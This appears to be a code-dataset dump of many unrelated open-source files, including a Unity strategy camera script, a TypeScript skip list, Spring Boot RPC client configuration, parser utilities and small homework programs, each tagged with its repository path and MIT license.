return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\HomeController::indexAction', '_route' => 'home_user',);
}
throw 0 < count($allow) ? new MethodNotAllowedException(array_unique($allow)) : new ResourceNotFoundException();
}
}
| mit |
superusercode/RTC3 | Real-Time Corruptor/BizHawk_RTC/BizHawk.Client.Common/KeyTurbo.cs | 528 | namespace BizHawk.Client.Common
{
public class TurboKey
{
public void Reset(int downTime, int upTime)
{
Value = false;
_timer = 0;
_upTime = upTime;
_downTime = downTime;
}
public void Tick(bool down)
{
if (!down)
{
Reset(_downTime, _upTime);
return;
}
_timer++;
Value = true;
if (_timer > _downTime)
Value = false;
if(_timer > (_upTime+_downTime))
{
_timer = 0;
Value = true;
}
}
public bool Value;
private int _upTime, _downTime, _timer;
}
} | mit |
venwyhk/ikasoa | ikasoa-spring-boot-starter/src/main/java/com/ikasoa/springboot/autoconfigure/ClientAutoConfiguration.java | 4079 | package com.ikasoa.springboot.autoconfigure;
import java.util.List;
import java.util.Map;
import java.util.stream.Collectors;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.cloud.client.ServiceInstance;
import org.springframework.cloud.client.discovery.DiscoveryClient;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.ImportAware;
import org.springframework.core.type.AnnotationMetadata;
import com.ikasoa.core.ServerInfo;
import com.ikasoa.core.loadbalance.Node;
import com.ikasoa.core.thrift.client.ThriftClientConfiguration;
import com.ikasoa.core.utils.ServerUtil;
import com.ikasoa.core.utils.StringUtil;
import com.ikasoa.rpc.Configurator;
import com.ikasoa.rpc.RpcException;
import com.ikasoa.springboot.ServiceProxy;
import com.ikasoa.springboot.annotation.RpcEurekaClient;
import com.ikasoa.zk.ZkServerCheck;
import lombok.extern.slf4j.Slf4j;
import com.ikasoa.springboot.annotation.RpcClient;
/**
* IKASOA客户端自动配置
*
* @author <a href="mailto:larry7696@gmail.com">Larry</a>
* @version 0.1
*/
@Configuration
@Slf4j
public class ClientAutoConfiguration extends AbstractAutoConfiguration implements ImportAware {
private String eurekaAppName;
private int eurekaAppPort;
@Autowired
private DiscoveryClient discoveryClient;
@Bean
public ServiceProxy getServiceProxy() throws RpcException {
if (discoveryClient != null && StringUtil.isNotEmpty(eurekaAppName) && ServerUtil.isPort(eurekaAppPort)) {
log.debug("Eureka services : " + discoveryClient.getServices());
if (!ServerUtil.isPort(eurekaAppPort))
throw new RpcException("Port '" + eurekaAppPort + "' is error !");
List<ServiceInstance> instanceList = discoveryClient.getInstances(eurekaAppName);
if (instanceList.isEmpty())
throw new RpcException(StringUtil.merge("Service '", eurekaAppName, "' is empty !"));
List<Node<ServerInfo>> serverInfoList = instanceList.stream()
.map(i -> new Node<ServerInfo>(new ServerInfo(i.getHost(), eurekaAppPort)))
.collect(Collectors.toList());
return StringUtil.isEmpty(configurator)
? new ServiceProxy(serverInfoList)
: new ServiceProxy(serverInfoList, getConfigurator());
} else if (StringUtil.isNotEmpty(zkServerString)) {
Configurator configurator = getConfigurator();
ThriftClientConfiguration thriftClientConfiguration = new ThriftClientConfiguration();
thriftClientConfiguration.setServerCheck(new ZkServerCheck(zkServerString, zkNode));
configurator.setThriftClientConfiguration(thriftClientConfiguration);
return new ServiceProxy(getHost(), getPort(), configurator);
} else
return StringUtil.isEmpty(configurator) ? new ServiceProxy(getHost(), getPort())
: new ServiceProxy(getHost(), getPort(), getConfigurator());
}
@Override
public void setImportMetadata(AnnotationMetadata annotationMetadata) {
Map<String, Object> rpcClientAttributes = annotationMetadata.getAnnotationAttributes(RpcClient.class.getName());
if (rpcClientAttributes != null && !rpcClientAttributes.isEmpty()) {
if (rpcClientAttributes.containsKey("host"))
host = rpcClientAttributes.get("host").toString();
if (rpcClientAttributes.containsKey("port"))
port = rpcClientAttributes.get("port").toString();
if (rpcClientAttributes.containsKey("config"))
configurator = rpcClientAttributes.get("config").toString();
}
Map<String, Object> rpcEurekaClientAttributes = annotationMetadata
.getAnnotationAttributes(RpcEurekaClient.class.getName());
if (rpcEurekaClientAttributes != null && !rpcEurekaClientAttributes.isEmpty()) {
if (rpcEurekaClientAttributes.containsKey("name"))
eurekaAppName = rpcEurekaClientAttributes.get("name").toString();
if (rpcEurekaClientAttributes.containsKey("port"))
eurekaAppPort = (Integer) rpcEurekaClientAttributes.get("port");
if (rpcEurekaClientAttributes.containsKey("config"))
configurator = rpcEurekaClientAttributes.get("config").toString();
}
}
}
| mit |
wcjohnson/babylon-lightscript | src/parser/node.js | 1921 | import Parser from "./index";
import { SourceLocation } from "../util/location";
// Start an AST node, attaching a start offset.
const pp = Parser.prototype;
const commentKeys = ["leadingComments", "trailingComments", "innerComments"];
class Node {
constructor(pos?: number, loc?: number, filename?: string) {
this.type = "";
this.start = pos;
this.end = 0;
this.loc = new SourceLocation(loc);
if (filename) this.loc.filename = filename;
}
type: string;
start: ?number;
end: number;
loc: SourceLocation;
__clone(): Node {
const node2 = new Node;
for (const key in this) {
// Do not clone comments that are already attached to the node
if (commentKeys.indexOf(key) < 0) {
node2[key] = this[key];
}
}
return node2;
}
// c/p babel-types
__cloneDeep(): Node {
const newNode = new Node;
for (const key in this) {
if (commentKeys.indexOf(key) >= 0) continue;
let val = this[key];
if (val) {
if (val.type) {
val = val.__cloneDeep();
} else if (Array.isArray(val)) {
val = val.map((v) => v.__cloneDeep());
}
}
newNode[key] = val;
}
return newNode;
}
}
pp.startNode = function () {
return new Node(this.state.start, this.state.startLoc, this.filename);
};
pp.startNodeAt = function (pos, loc) {
return new Node(pos, loc, this.filename);
};
function finishNodeAt(node, type, pos, loc) {
node.type = type;
node.end = pos;
node.loc.end = loc;
this.processComment(node);
return node;
}
// Finish an AST node, adding `type` and `end` properties.
pp.finishNode = function (node, type) {
return finishNodeAt.call(this, node, type, this.state.lastTokEnd, this.state.lastTokEndLoc);
};
// Finish node at given position
pp.finishNodeAt = function (node, type, pos, loc) {
return finishNodeAt.call(this, node, type, pos, loc);
};
| mit |
hoovercj/vscode | src/vs/base/common/skipList.ts | 4888 | /*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
class Node<K, V> {
readonly forward: Node<K, V>[];
constructor(readonly level: number, readonly key: K, public value: V) {
this.forward = [];
}
}
const NIL: undefined = undefined;
interface Comparator<K> {
(a: K, b: K): number;
}
export class SkipList<K, V> implements Map<K, V> {
readonly [Symbol.toStringTag] = 'SkipList';
private _maxLevel: number;
private _level: number = 1;
private _header: Node<K, V>;
private _size: number = 0;
/**
*
* @param capacity Capacity at which the list performs best
*/
constructor(
readonly comparator: (a: K, b: K) => number,
capacity: number = 2 ** 16
) {
this._maxLevel = Math.max(1, Math.log2(capacity) | 0);
this._header = <any>new Node(this._maxLevel, NIL, NIL);
}
get size(): number {
return this._size;
}
clear(): void {
this._header = <any>new Node(this._maxLevel, NIL, NIL);
}
has(key: K): boolean {
return Boolean(SkipList._search(this, key, this.comparator));
}
get(key: K): V | undefined {
return SkipList._search(this, key, this.comparator)?.value;
}
set(key: K, value: V): this {
if (SkipList._insert(this, key, value, this.comparator)) {
this._size += 1;
}
return this;
}
delete(key: K): boolean {
const didDelete = SkipList._delete(this, key, this.comparator);
if (didDelete) {
this._size -= 1;
}
return didDelete;
}
// --- iteration
forEach(callbackfn: (value: V, key: K, map: Map<K, V>) => void, thisArg?: any): void {
let node = this._header.forward[0];
while (node) {
callbackfn.call(thisArg, node.value, node.key, this);
node = node.forward[0];
}
}
[Symbol.iterator](): IterableIterator<[K, V]> {
return this.entries();
}
*entries(): IterableIterator<[K, V]> {
let node = this._header.forward[0];
while (node) {
yield [node.key, node.value];
node = node.forward[0];
}
}
*keys(): IterableIterator<K> {
let node = this._header.forward[0];
while (node) {
yield node.key;
node = node.forward[0];
}
}
*values(): IterableIterator<V> {
let node = this._header.forward[0];
while (node) {
yield node.value;
node = node.forward[0];
}
}
toString(): string {
// debug string...
let result = '[SkipList]:';
let node = this._header.forward[0];
while (node) {
result += `node(${node.key}, ${node.value}, lvl:${node.level})`;
node = node.forward[0];
}
return result;
}
// from https://www.epaperpress.com/sortsearch/download/skiplist.pdf
private static _search<K, V>(list: SkipList<K, V>, searchKey: K, comparator: Comparator<K>) {
let x = list._header;
for (let i = list._level; i >= 0; i--) {
while (x.forward[i] && comparator(x.forward[i].key, searchKey) < 0) {
x = x.forward[i];
}
}
x = x.forward[0];
if (x && comparator(x.key, searchKey) === 0) {
return x;
}
return undefined;
}
private static _insert<K, V>(list: SkipList<K, V>, searchKey: K, value: V, comparator: Comparator<K>) {
let update: Node<K, V>[] = [];
let x = list._header;
for (let i = list._level; i >= 0; i--) {
while (x.forward[i] && comparator(x.forward[i].key, searchKey) < 0) {
x = x.forward[i];
}
update[i] = x;
}
x = x.forward[0];
if (x && comparator(x.key, searchKey) === 0) {
// update
x.value = value;
return false;
} else {
// insert
let lvl = SkipList._randomLevel(list);
if (lvl > list._level) {
for (let i = list._level + 1; i <= lvl; i++) {
update[i] = list._header;
}
list._level = lvl;
}
x = new Node<K, V>(lvl, searchKey, value);
for (let i = 0; i <= lvl; i++) {
x.forward[i] = update[i].forward[i];
update[i].forward[i] = x;
}
return true;
}
}
private static _randomLevel(list: SkipList<any, any>, p: number = 0.5): number {
let lvl = 1;
while (Math.random() < p && lvl < list._maxLevel) {
lvl += 1;
}
return lvl;
}
private static _delete<K, V>(list: SkipList<K, V>, searchKey: K, comparator: Comparator<K>) {
let update: Node<K, V>[] = [];
let x = list._header;
for (let i = list._level; i >= 0; i--) {
while (x.forward[i] && comparator(x.forward[i].key, searchKey) < 0) {
x = x.forward[i];
}
update[i] = x;
}
x = x.forward[0];
if (!x || comparator(x.key, searchKey) !== 0) {
// not found
return false;
}
for (let i = 0; i < list._level; i++) {
if (update[i].forward[i] !== x) {
break;
}
update[i].forward[i] = x.forward[i];
}
while (list._level >= 1 && list._header.forward[list._level] === NIL) {
list._level -= 1;
}
return true;
}
}
| mit |
flekschas/hipiler | src/components/fragments/fragments-state.js | 2296 | import { Scene } from 'three';
import { scaleLinear } from 'd3';
import {
CELL_SIZE,
COLOR_BW,
COLOR_SCALE_FROM,
COLOR_SCALE_TO,
GRID_SIZE,
LOG_TRANSFORM,
MATRIX_ORIENTATION_INITIAL,
MODE_AVERAGE
} from 'components/fragments/fragments-defaults';
import deepClone from 'utils/deep-clone';
const DEFAULT_STATE = {
annotations: {},
adjacentDistances: undefined,
cellSize: CELL_SIZE,
colorMap: COLOR_BW,
colorScale: scaleLinear().range([COLOR_SCALE_FROM, COLOR_SCALE_TO]),
colorScaleFrom: COLOR_SCALE_FROM,
colorScaleTo: COLOR_SCALE_TO,
gridSize: GRID_SIZE,
colorsIdx: {},
coverDispMode: MODE_AVERAGE,
dataMeasuresMax: {},
dataMeasuresMin: {},
dragActive: false,
draggingMatrix: undefined,
dragPile: undefined,
font: undefined,
graphMatrices: [],
gridCellHeightInclSpacing: 0,
gridCellHeightInclSpacingHalf: 0,
gridCellWidthInclSpacing: 0,
gridCellWidthInclSpacingHalf: 0,
isHilbertCurve: false,
hoveredCell: undefined,
hoveredGapPile: undefined,
hoveredMatrix: undefined,
hoveredPile: undefined,
hoveredTool: undefined,
isLayout2d: false,
lassoObject: undefined,
logTransform: LOG_TRANSFORM,
matrices: [],
matricesIdx: {},
matricesPileIndex: [],
matrixFrameEncoding: undefined,
matrixGapMouseover: false,
matrixOrientation: MATRIX_ORIENTATION_INITIAL,
matrixPos: [],
matrixStrings: '',
matrixWidth: undefined,
matrixWidthHalf: undefined,
maxDistance: 0,
measures: [],
mouse: undefined,
pileMeshes: [],
pileMeshesTrash: [],
piles: [],
pilesIdx: {},
pilesInspection: [],
pilesIdxInspection: {},
pilesTrash: [],
previewScale: 1,
previousHoveredPile: undefined,
reject: {},
resolve: {},
scale: 1,
selectedMatrices: [],
selectedPile: undefined,
strandArrows: [],
strandArrowsTrash: [],
trashIsActive: false,
userSpecificCategories: [],
workerClusterfck: undefined
};
DEFAULT_STATE.isReady = new Promise((resolve, reject) => {
DEFAULT_STATE.resolve.isReady = resolve;
DEFAULT_STATE.reject.isReady = reject;
});
class State {
constructor () {
this.reset();
}
get () {
return this.state;
}
reset () {
this.state = deepClone(DEFAULT_STATE);
this.state.scene = new Scene();
}
}
const state = new State();
export default state;
| mit |
huruiyi/CPP.Sample | C++进阶STL/05Queue/main.cpp | 448 | #define _CRT_SECURE_NO_WARNINGS
#include<iostream>
#include <string>
#include <queue>
using namespace std;
void test01()
{
queue<int>q;
q.push(10);
q.push(30);
q.push(20);
q.push(40);
q.push(60);
while (!q.empty())
{
cout << "¶ÓÍ·ÔªËØ£º " << q.front() << endl;
cout << "¶ÓÎ²ÔªËØ£º " << q.back() << endl;
//ÒÆ³ý¶ÓÎéÍ·
q.pop();
}
cout << "size = " << q.size() << endl;;
}
int main()
{
test01();
system("pause");
return 0;
} | mit |
Blindbuffalo/Hexplore | Assets/Scripts/StrategyCam.cs | 16726 | // StrategyCam v1.0
// 2014-03-04 (YYYY-MM-DD)
// by Fabian Hager
using UnityEngine;
using System.Collections;
[AddComponentMenu("Camera-Control/Strategy Camera")]
public class StrategyCam : MonoBehaviour {
// scroll, zoom, rotate and incline speeds
public float scrollSpeed = 2.5f;
public float zoomSpeed = 4f;
public float rotateSpeed = 1f;
public float inclineSpeed = 2.5f;
// speed factors for key-controlled zoom, rotate and incline
public float keyZoomSpeedFactor = 2f;
public float keyRotateSpeedFactor = 1.5f;
public float keyInclineSpeedFactor = 0.5f;
// scroll, zoom, rotate and incline smoothnesses (higher values make the camera take more time to reach its intended position)
public float scrollAndZoomSmooth = 0.08f;
public float rotateAndInclineSmooth = 0.03f;
// initital values for lookAt, zoom, rotation and inclination
public float initialRotation = 0f; // 1 is one revolution
public float initialInclination = 0.3f; // 0 is top-down, 1 is parallel to the x-z-plane
public float initialZoom = 10f; // distance between camera position and the point on the x-z-plane the camera looks at
public Vector3 initialLookAt = new Vector3(0f, 0f, 0f);
// zoom to or from cursor modes
public bool zoomOutFromCursor = false;
public bool zoomInToCursor = true;
// snapping rotation or inclination back to initial values after rotation or inclination keys have been released
public bool snapBackRotation = false;
public bool snapBackInclination = false;
// Edge Scrolling
public bool MouseEdgeScrolling = false;
// snapping speed (for rotation and inclination)
public float snapBackSpeed = 6f;
// zooming in increases the inclination (from minInclination to maxInclination)
public bool inclinationByZoom = false;
// scroll, zoom, and inclination boundaries
public float minX = -10f;
public float maxX = 10f;
public float minZ = -10f;
public float maxZ = 10f;
public float minZoom = 0.4f;
public float maxZoom = 40f;
public float minInclination = 0f;
public float maxInclination = 0.9f;
public float minRotation = -1f;
public float maxRotation = 1f;
// x-wrap and z-wrap (when reaching the boundaries the cam will jump to the other side, good for continuous maps)
public bool xWrap = false;
public bool zWrap = false;
// keys for different controls
public KeyCode keyScrollForward = KeyCode.W;
public KeyCode keyScrollLeft = KeyCode.A;
public KeyCode keyScrollBack = KeyCode.S;
public KeyCode keyScrollRight = KeyCode.D;
public KeyCode keyRotateAndIncline = KeyCode.LeftAlt;
public KeyCode keyZoomIn = KeyCode.None;
public KeyCode keyZoomOut = KeyCode.None;
public KeyCode keyRotateLeft = KeyCode.None;
public KeyCode keyRotateRight = KeyCode.None;
public KeyCode keyInclineUp = KeyCode.None;
public KeyCode keyInclineDown = KeyCode.None;
// width of the scroll sensitive area at the screen boundaries in px
private int scrollBoundaries = 2;
// target camera values (approached asymptotically for smoothing)
private Vector3 targetLookAt = new Vector3(0f, 0f, 0f);
private float targetZoom = 10f;
private float targetRotation = 0f;
private float targetInclination = 0f;
// current camera values
private Vector3 currentLookAt = new Vector3(0f, 0f, 0f);
private float currentZoom = 10f;
private float currentRotation = 0f;
private float currentInclination = 0.3f;
// snapping takes constant time (regardless of snapping distance), these values store where the snapping began (when the rotate and incline button was released)
private float snapRotation = 0f;
private float snapInclination = 0f;
// for calculations
private Vector3 viewDirection = new Vector3(0f, 0f, 0f);
private float zoomRequest = 0f;
private float rotateRequest = 0f;
private float inclineRequest = 0f;
private float targetSnap = 0f;
private Vector3 xDirection = new Vector3(0f, 0f, 0f);
private Vector3 yDirection = new Vector3(0f, 0f, 0f);
private float oldTargetZoom = 0f;
private float zoomPart = 0f;
private Vector3 cursorPosition = new Vector3(0f, 0f, 0f);
private Vector3 cursorDifference = new Vector3(0f, 0f, 0f);
// for calculations (making camera behaviour framerate-independent)
private float time = 0f;
// to determine if camera is currently being rotated by the user
private bool rotating = false;
private Vector3 lastMousePosition = new Vector3(0f, 0f);
// for trigonometry
private static float TAU = Mathf.PI*2;
private float LastFrameLookat = 0;
// access methods for camera values for "jumps"
private float desiredZoom = 0f;
private bool changeZoom = false;
public void SetZoom(float zoom) {
if (zoom < minZoom) zoom = minZoom;
if (zoom > maxZoom) zoom = maxZoom;
desiredZoom = zoom;
changeZoom = true;
}
private float desiredRotation = 0f;
private bool changeRotation = false;
public void SetRotation(float rotation) {
if (rotation < minRotation) rotation = minRotation;
if (rotation > maxRotation) rotation = maxRotation;
desiredRotation = rotation;
changeRotation = true;
}
private float desiredInclination = 0f;
private bool changeInclination = false;
public void SetInclination(float inclination) {
if (inclination < minInclination) inclination = minInclination;
if (inclination > maxInclination) inclination = maxInclination;
desiredInclination = inclination;
changeInclination = true;
}
private Vector3 desiredLookAt = new Vector3(0f, 0f, 0f);
private bool changeLookAt = false;
public void setLookAt(Vector3 lookAt) {
if (lookAt.x < minX) lookAt.x = minX;
if (lookAt.x > maxX) lookAt.x = maxX;
if (lookAt.z < minZ) lookAt.z = minZ;
if (lookAt.z > maxZ) lookAt.z = maxZ;
lookAt.y = 0f;
desiredLookAt = lookAt;
changeLookAt = true;
}
void Update ()
{
// handle the "jumps"
if (changeZoom) {
targetZoom = desiredZoom;
changeZoom = false;
}
if (changeRotation) {
targetRotation = desiredRotation;
changeRotation = false;
}
if (changeLookAt) {
targetLookAt = desiredLookAt;
changeLookAt = false;
}
if (changeInclination) {
targetInclination = desiredInclination;
changeInclination = false;
}
time = Time.deltaTime;
// determine directions the camera should move in when scrolling
yDirection.x = transform.up.x;
yDirection.y = 0;
yDirection.z = transform.up.z;
yDirection = yDirection.normalized;
xDirection.x = transform.right.x;
xDirection.y = 0;
xDirection.z = transform.right.z;
xDirection = xDirection.normalized;
// scrolling when the cursor touches the screen boundaries or when WASD keys are used
if((Input.mousePosition.x >= Screen.width - scrollBoundaries && MouseEdgeScrolling) || Input.GetKey(keyScrollRight)) {
targetLookAt.x = targetLookAt.x + xDirection.x*scrollSpeed*time*targetZoom;
targetLookAt.z = targetLookAt.z + xDirection.z*scrollSpeed*time*targetZoom;
}
if((Input.mousePosition.x <= scrollBoundaries && MouseEdgeScrolling) || Input.GetKey(keyScrollLeft)) {
targetLookAt.x = targetLookAt.x - xDirection.x*scrollSpeed*time*targetZoom;
targetLookAt.z = targetLookAt.z - xDirection.z*scrollSpeed*time*targetZoom;
}
if((Input.mousePosition.y >= Screen.height - scrollBoundaries && MouseEdgeScrolling) || Input.GetKey(keyScrollForward)) {
targetLookAt.x = targetLookAt.x + yDirection.x*scrollSpeed*time*targetZoom;
targetLookAt.z = targetLookAt.z + yDirection.z*scrollSpeed*time*targetZoom;
}
if((Input.mousePosition.y <= scrollBoundaries && MouseEdgeScrolling) || Input.GetKey(keyScrollBack)) {
targetLookAt.x = targetLookAt.x - yDirection.x*scrollSpeed*time*targetZoom;
targetLookAt.z = targetLookAt.z - yDirection.z*scrollSpeed*time*targetZoom;
}
//if (Input.GetMouseButton(0))
//{ // if left button pressed...
// cursorDifference = Input.mousePosition - lastMousePosition;
// targetLookAt += cursorDifference;
// Debug.Log("thing " + cursorDifference.x);
// lastMousePosition = Input.mousePosition;
//}
if (Input.GetMouseButton(0)) // MMB
{
// Hold button and drag camera around
targetLookAt -= new Vector3(Input.GetAxis("Mouse X") * 2 * currentZoom * Time.deltaTime, 0,
Input.GetAxis("Mouse Y") * 2 * currentZoom * Time.deltaTime);
}
// zooming when the mousewheel or the zoom keys are used
zoomRequest = Input.GetAxis("Mouse ScrollWheel");
if (Input.GetKey(keyZoomIn)) zoomRequest += keyZoomSpeedFactor*time;
if (Input.GetKey(keyZoomOut)) zoomRequest -= keyZoomSpeedFactor*time;
if (zoomRequest != 0) {
// needed for zoom to cursor behaviour
oldTargetZoom = targetZoom;
// zoom
targetZoom = targetZoom - zoomSpeed*targetZoom*zoomRequest;
// enforce zoom boundaries
if (targetZoom > maxZoom) targetZoom = maxZoom;
if (targetZoom < minZoom) targetZoom = minZoom;
// zoom-dependent inclination behaviour
if (inclinationByZoom) {
// determine where the current targetZoom is in the range of the zoomBoundaries
zoomPart = 1f-((targetZoom-minZoom)/maxZoom);
// make sure the inclination increase mostly happens at the lowest zoom levels (when the camera is closest to the x-z-plane)
zoomPart = zoomPart*zoomPart*zoomPart*zoomPart*zoomPart*zoomPart*zoomPart*zoomPart;
// apply the inclination
targetInclination = minInclination + zoomPart*(maxInclination-minInclination);
}
// zoom to and from cursor behaviour
if ((zoomRequest > 0 && zoomInToCursor) || (zoomRequest < 0 && zoomOutFromCursor)) {
// determine the point on the x-z-plane the cursor hovers over
cursorPosition = GetComponent<Camera>().ScreenPointToRay(Input.mousePosition).direction;
cursorPosition = transform.position + cursorPosition*(transform.position.y/-cursorPosition.y);
// move closer to that point (in the same proportion the zoom has just changed)
targetLookAt = targetLookAt - ((oldTargetZoom-targetZoom)/(oldTargetZoom))*(targetLookAt - cursorPosition);
}
}
// rotating and inclining when the middle mouse button or Left ALT is pressed
rotateRequest = 0f;
inclineRequest = 0f;
if (Input.GetMouseButton(2) || Input.GetKey(keyRotateAndIncline)) {
if (rotating) {
// how far the cursor has travelled on screen
cursorDifference = Input.mousePosition-lastMousePosition;
// determine the rotation
rotateRequest += rotateSpeed*0.001f*cursorDifference.x;
// determine the inclination
inclineRequest -= inclineSpeed*0.001f*cursorDifference.y;
} else {
// rotation has just started
rotating = true;
}
// store cursor position
lastMousePosition = Input.mousePosition;
} else {
rotating = false;
}
// key controlled rotation and inclination
if (Input.GetKey(keyRotateLeft)) rotateRequest += keyRotateSpeedFactor*rotateSpeed*time;
if (Input.GetKey(keyRotateRight)) rotateRequest -= keyRotateSpeedFactor*rotateSpeed*time;
if (Input.GetKey(keyInclineUp)) inclineRequest += keyInclineSpeedFactor*inclineSpeed*time;
if (Input.GetKey(keyInclineDown)) inclineRequest -= keyInclineSpeedFactor*inclineSpeed*time;
if (rotateRequest != 0f) {
// apply rotation
targetRotation += rotateRequest;
// enforce boundaries
if (targetRotation > maxRotation) targetRotation = maxRotation;
if (targetRotation < minRotation) targetRotation = minRotation;
// make sure rotation stays in the interval between -0.5 and 0.5;
if (targetRotation > 0.5f) {
targetRotation -= 1f;
currentRotation -= 1f;
} else if (targetRotation < -0.5f) {
targetRotation += 1f;
currentRotation += 1f;
}
// in case inclination stops afterwards store the last inclination (for snapping)
snapRotation = targetRotation;
rotateRequest = 0f;
} else if (!rotating) {
// snap back
if (snapBackRotation) {
// determine the next rotation value assuming constant snap speed
targetSnap = targetRotation + time*snapBackSpeed*(initialRotation - snapRotation);
// finish the snap when it would diverge again (this means it has reached or overshot the initial rotation)
if (Mathf.Abs(targetSnap-initialRotation) > Mathf.Abs(targetRotation-initialRotation)) targetSnap = initialRotation;
// apply the snap
targetRotation = targetSnap;
}
}
if (!inclinationByZoom && inclineRequest != 0f) {
// apply inclination
targetInclination += inclineRequest;
// enforce boundaries
if (targetInclination > maxInclination) targetInclination = maxInclination;
if (targetInclination < minInclination) targetInclination = minInclination;
// in case inclination stops afterwards store the last inclination (for snapping)
snapInclination = targetInclination;
inclineRequest = 0f;
} else if (!rotating) {
// snap back
if (snapBackInclination && !inclinationByZoom) {
// determine the next inclination value assuming constant snap speed
targetSnap = targetInclination + time*snapBackSpeed*(initialInclination - snapInclination);
// finish the snap when it would diverge again (this means it has reached or overshot the initial inclination)
if (Mathf.Abs(targetSnap-initialInclination) > Mathf.Abs(targetInclination-initialInclination)) targetSnap = initialInclination;
// apply the snap
targetInclination = targetSnap;
}
}
// enforce scroll boundaries
if (xWrap) {
if (targetLookAt.x > maxX) {
targetLookAt.x -= maxX-minX;
currentLookAt.x -= maxX-minX;
}
if (targetLookAt.x < minX) {
targetLookAt.x += maxX-minX;
currentLookAt.x += maxX-minX;
}
} else {
if (targetLookAt.x > maxX) targetLookAt.x = maxX;
if (targetLookAt.x < minX) targetLookAt.x = minX;
}
if (zWrap) {
if (targetLookAt.z > maxZ) {
targetLookAt.z -= maxZ-minZ;
currentLookAt.z -= maxZ-minZ;
}
if (targetLookAt.z < minZ) {
targetLookAt.z += maxZ-minZ;
currentLookAt.z += maxZ-minZ;
}
} else {
if (targetLookAt.z > maxZ) targetLookAt.z = maxZ;
if (targetLookAt.z < minZ) targetLookAt.z = minZ;
}
// calculate the current values (let them approach target values asymptotically - this is the actual smoothing)
currentLookAt = currentLookAt - (time*(currentLookAt - targetLookAt))/scrollAndZoomSmooth;
currentZoom = currentZoom - (time*(currentZoom - targetZoom))/scrollAndZoomSmooth;
currentRotation = currentRotation - (time*(currentRotation - targetRotation))/rotateAndInclineSmooth;
if (inclinationByZoom) {
// zoom-dependent inclination means the smoothing must be the smoothing when zooming
currentInclination = currentInclination - (time*(currentInclination - targetInclination))/scrollAndZoomSmooth;
} else {
currentInclination = currentInclination - (time*(currentInclination - targetInclination))/rotateAndInclineSmooth;
}
// calculate the viewDirection of the camera from inclination and rotation
viewDirection = (Vector3.down*(1.0f-currentInclination) + new Vector3(Mathf.Sin(currentRotation*TAU), 0, Mathf.Cos(currentRotation*TAU))*(currentInclination)).normalized;
// apply the current camera values to move and rotate the camera
transform.position = currentLookAt + currentZoom*(-viewDirection);
transform.LookAt(currentLookAt);
}
void Start ()
{
// enforce sanity values (preventing weird effects or NaN results due to division by 0
if (scrollAndZoomSmooth < 0.01f) scrollAndZoomSmooth = 0.01f;
if (rotateAndInclineSmooth < 0.01f) rotateAndInclineSmooth = 0.01f;
if (minInclination < 0.001f) minInclination = 0.001f;
// enforce that initial values are within boundaries
if (initialInclination < minInclination) initialInclination = minInclination;
if (initialInclination > maxInclination) initialInclination = maxInclination;
if (initialRotation < minRotation) initialRotation = minRotation;
if (initialRotation > maxRotation) initialRotation = maxRotation;
if (initialZoom < minZoom) initialZoom = minZoom;
if (initialZoom > maxZoom) initialZoom = maxZoom;
//initialLookAt.y = 0f;
if (initialLookAt.x > maxX) initialLookAt.x = maxX;
if (initialLookAt.x < minX) initialLookAt.x = minX;
if (initialLookAt.z > maxZ) initialLookAt.z = maxZ;
if (initialLookAt.z < minZ) initialLookAt.z = minZ;
// initialise current camera values
currentZoom = initialZoom;
currentInclination = initialInclination;
currentRotation = initialRotation;
currentLookAt = initialLookAt;
// initialise target camera values (to current camera values)
targetLookAt = currentLookAt;
targetInclination = currentInclination;
targetZoom = currentZoom;
targetRotation = currentRotation;
}
} | mit |
matthewpatterson/acclamation | src/client/temperature.js | 1064 | 'use strict';
var Temperature = function(client) {
var self = this;
var $temperature;
$(function() {
$temperature = $('#temperature');
});
this.on = function() {
$temperature.show();
$temperature.delegate('button', 'click', self.vote);
};
this.off = function() {
$temperature.hide();
};
this.vote = function() {
var value = $(this).val();
$.post('/session/' + client.sessionId + '/temperature/vote/' + value)
.success(self.done)
.error(self.error);
};
this.done = function() {
self.recordVote();
client.showAuthor();
};
this.error = function(err) {
console.error(err);
window.alert('An error occurred. Refer to the console for more information');
};
this.recordVote = function() {
localStorage.setItem('acclamation.session[' + client.sessionId + '].temperature.hasVoted', true);
};
this.hasVoted = function() {
return localStorage.getItem('acclamation.session[' + client.sessionId + '].temperature.hasVoted') === 'true';
};
};
module.exports = Temperature;
| mit |
ming-codes/ember-ui-kit | tests/dummy/app/models/comment.js | 159 | import DS from 'ember-data';
export default DS.Model.extend({
content: DS.attr('string'),
author: DS.belongsTo('user'),
post: DS.belongsTo('post')
});
| mit |
Vagnerlg/ws_liju_php_mysql_json | app_system_lei/controllers/v2/Cron.php | 633 | <?php
defined('BASEPATH') OR exit('No direct script access allowed');
class Cron extends CI_Controller {
public function __construct() {
parent::__construct();
$this->token->tokenAdm();
}
public function busca_nova_info_lei() {
$this->load->library('updateinfolei');
$relatorio = $this->updateinfolei->start();
$this->load->library('MyEmail');
$this->myemail->base("vlgonalves@gmail.com", 'Vagner luiz Gonçalves', 'Atualização de leis', $relatorio);
echo $relatorio;
}
public function atualizar_leis_criadas() {
$this->load->library('atualizarleiscriadas');
$this->atualizarleiscriadas->start();
}
} | mit |
geometryzen/stemcstudio-workers | test/unit/glsl/literals.spec.ts | 441 | import literals from '../../../src/mode/glsl/literals';
describe("literals", function () {
it("does not contain jabberwocky", function () {
expect(literals.indexOf('jabberwocky') >= 0).toBe(false);
});
it("contains precision", function () {
expect(literals.indexOf('precision') >= 0).toBe(true);
});
it("contains vec3", function () {
expect(literals.indexOf('vec3') >= 0).toBe(true);
});
});
| mit |
allancalderon/checkapp_android_respira | app/src/main/java/mobi/checkapp/epoc/entities/MarkerItem.java | 186 | package mobi.checkapp.epoc.entities;
/**
* Created by luisbanon on 31/05/16.
*/
public class MarkerItem {
public int value;
public String Nombre;
public String nValue;
}
| mit |
ilian1902/TelerikAcademy | C#Part2 - Homework/01. Arrays - Homework/06.MaximalKSum/MaximalKSum.cs | 999 | namespace MaximalKSum
{
using System;
class MaximalKSum
{
// Write a program that reads two integer numbers N and K and an array of N elements from the console.
// Find in the array those K elements that have maximal sum.
static void Main()
{
Console.Write("N = ");
int n = int.Parse(Console.ReadLine());
Console.Write("K = ");
int k = int.Parse(Console.ReadLine());
